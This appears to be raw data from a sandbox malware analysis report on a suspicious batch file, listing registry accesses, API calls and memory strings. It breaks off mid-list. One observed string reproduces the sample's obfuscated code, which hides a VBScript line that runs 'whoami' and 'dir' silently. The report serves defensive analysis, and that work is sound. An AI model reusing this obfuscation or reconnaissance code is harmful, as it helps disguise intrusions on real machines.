26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 3f:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T41d,{"@context":"https://schema.org","@type":"TechArticle","headline":"Suspicious Sample 4da90557bd72… — Score 45/100 — Hybrid Analysis","description":"Suspicious verdict for sample 4da90557bd72…. Threat score 45/100. 0/26 AV engines flagged this file. 1 malicious and 6 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/4da90557bd724fee747a693df7fe07c2c6c6f7ed9a07a252ff498942d33c6343","keywords":["Suspicious","malware analysis","sandbox report","threat intelligence","4da90557bd724fee747a693df7fe07c2c6c6f7ed9a07a252ff498942d33c6343"],"about":{"@type":"SoftwareApplication","name":"service2.bat","applicationCategory":["script","bat"],"identifier":"4da90557bd724fee747a693df7fe07c2c6c6f7ed9a07a252ff498942d33c6343","additionalType":"Suspicious sample"},"threatScore":45,"antivirusDetections":{"malicious":0,"total":26},"behavioralIndicators":{"malicious":1,"suspicious":6},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T62b,"WMIC.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\INPROCHANDLER") "WMIC.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\INPROCHANDLER") "WMIC.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE\TRACING") "WMIC.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\TREATASCLASSINDEX") "WMIC.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\CLASSINDEX\{00000346-0000-0000-C000-000000000046}") "WMIC.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0002E005-0000-0000-C000-000000000046}\TREATAS") "WMIC.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0002E005-0000-0000-C000-000000000046}\TREATAS") "WMIC.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0002E005-0000-0000-C000-000000000046}\INPROCSERVER32") "WMIC.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0002E005-0000-0000-C000-000000000046}\INPROCSERVER32") "WMIC.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0002E005-0000-0000-C000-000000000046}\INPROCSERVER32") "WMIC.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0002E005-0000-0000-C000-000000000046}\INPROCSERVER32") "WMIC.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0002E005-0000-0000-C000-000000000046}\INPROCHANDLER32") "WMIC.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0002E005-0000-0000-C000-000000000046}\INPROCHANDLER32") "WMIC.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0002E005-0000-0000-C000-000000000046}\INPROCHANDLER")28:T9cc,"cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004240) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004240) "WMIC.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004456) "WMIC.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004456)29:T4b7,Found string "nslookup: WSAStartup:%0" (Indicator: "nslookup"; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found string "nslookup [-opt ...] # interactive mode using default server" (Indicator: "nslookup"; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found string "nslookup [-opt ...] - server # interactive mode using 'server'" (Indicator: "nslookup"; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found string "nslookup [-opt ...] host # just look up 'host' using default server" (Indicator: "nslookup"; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found string "nslookup [-opt ...] host server # just look up 'host' using 'server'" (Indicator: "nslookup"; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found string "nslookup" (Indicator: "nslookup"; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found string "nslookup.exe" (Indicator: "nslookup"; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp") Found string "nslookup.exe.mui" (Indicator: "nslookup"; Source: "00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp")2a:T8c2,Observed string: "LnxQBwdFUqynJlBCiPMFLAdQkYbheOuXeHZxZKznFDrkPZgzpYjtlJpTnrTcajYHAHygeCgXKnYaJtivPgyrtTXhQAGBJJnEHeprdeDNgfgVYqhdPsWplXTOOBDUYNLLZFuzHGJCIQUVJgaDTVAclTpjwyISwxuesgBlx%%^%c%NcMJMbHzQYUlEWPMYXPDVBSmVaEaCqoofeqVpObmZMRprznNmZdZzlhwoaTamLgWszUqpWTxqNTrphXReBdDejyCOwmgqCoDSwYrwdGMCOiDxTvzUQCnMXvZBWEWZ%%^%h%XNCqaCCEIOKhjxEiNwhBHRhWSRYOPgOtMySjjlrmnQUxgmhoogrksqOrxtmGbDEgLtvQkaDcjoFwsmvLomJPHBPTDkuVQpDpVgAmRzhQDRhnoMZGhcRAGTlWmEPUVDOQXugtsdcOxtcQiZkryivPMGYKsAmFijSJUESFEgOpYBy%%^%o%oeJPbLwaDYLIKlUhJjjdTqLuqNcCWFzczkzfhXiaekrAIeXtiWSdKDaLBIqENetWhLzHyDZXNMJmlGIqoESIfQrWnceVONAQZKPryYejJQjWUWzZMdsLyTjAWWGOBuuTzLOOAoZtqFIWGFNBqxTIDYwuWsEHxvqSbvPZifd%%^% %tAqtMqGimBKMPMwbOjWYKBMWOtewGgTejAWoTwtluphnBqiWLhjVweXKdDiUSoXGOYmOJPXkwKqCVAPswwjbxnmyHuD%Dim KDkTkr : Set KDkTkr = CreateObject(^"WScript.Shell^") : KDkTkr.Run ^"cmd /c ^"whoami >nul 2>^&1^"^", 0, True : KDkTkr.Run ^"cmd /c ^"dir /b >nul 2>^&1^"^", 0, True : Set KDkTkr = Nothing>"!bHFLdIl1!"!Qmfo4!!gDKS!!JxmOUE!!amiW!!yQCX! "!bHFLdIl1!" >nul 2>&1!bbF1!!dFWT!!WuPn" (Indicator: ""whoami") in Source: 4da90557bd724fee747a693df7fe07c2c6c6f7ed9a07a252ff498942d33c6343.bin Observed string: "%^%e%uZcGWlhIflynmmWoYdEheefLLnxQBwdFUqynJlBCiPMFLAdQkYbheOuXeHZxZKznFDrkPZgzpYjtlJpTnrTcajYHAHygeCgXKnYaJtivPgyrtTXhQAGBJJnEHeprdeDNgfgVYqhdPsWplXTOOBDUYNLLZFuzHGJCIQUVJgaDTVAclTpjwyISwxuesgBlx%%^%c%NcMJMbHzQYUlEWPMYXPDVBSmVaEaCqoofeqVpObmZMRprznNmZdZzlhwoaTamLgWszUqpWTxqNTrphXReBdDejyCOwmgqCoDSwYrwdGMCOiDxTvzUQCnMXvZBWEWZ%%^%h%XNCqaCCEIOKhjxEiNwhBHRhWSRYOPgOtMySjjlrmnQUxgmhoogrksqOrxtmGbDEgLtvQkaDcjoFwsmvLomJPHBPTDkuVQpDpVgAmRzhQDRhnoMZGhcRAGTlWmEPUVDOQXugtsdcOxtcQiZkryivPMGYKsAmFijSJUESFEgOpYBy%%^%o%oeJPbLwaDYLIKlUhJjjdTqLuqNcCWFzczkzfhXiaekrAIeXtiWSdKDaLBIqENetWhLzHyDZXNMJmlGIqoESIfQrWnceVONAQZKPryYejJQjWUWzZMdsLyTjAWWGOBuuTzLOOAoZtqFIWGFNBqxTIDYwuWsEHxvqSbvPZifd%%^% %tAqtMqGimBKMPMwbOjWYKBMWOtewGgTejAWoTwtluphnBqiWLhjVweXKdDiUSoXGOYmOJPXkwKqCVAPswwjbxnmyHuD%Dim KDkTkr : Set KDkTkr = CreateObject(^"WScript.Shell^") : KDkTkr.Run ^"cmd /c ^"whoami >nul 2>^&1^"^", 0, True : KDkTkr.Run ^"cmd /c ^"dir /b >nul 2>^&1^"^", 0, True : Set KDkTkr = Nothing>"!bHFLdIl1!"" (Indicator: ""whoami") in Source: 4da90557bd724fee747a693df7fe07c2c6c6f7ed9a07a252ff498942d33c6343.bin2b:T277e,"cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004240) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004240) "WMIC.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00004456) "WMIC.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00004456)2c:T412f,Found reference to API (Indicator: "Beep"; Source: "00000000-00004456.00000000.221903.63EC0000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "OpenClipboard"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "EmptyClipboard"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "SetClipboardData"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "CloseClipboard"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "CharUpperW"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleScreenBufferInfo"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameW"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "GetUserPreferredUILanguages"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleCursorPosition"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleMode"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleScreenBufferSize"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "IcmpSendEcho"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleCtrlHandler"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "lstrlenA"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringA"; Source: "00000000-00004456.00000000.221903.64D4E000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: 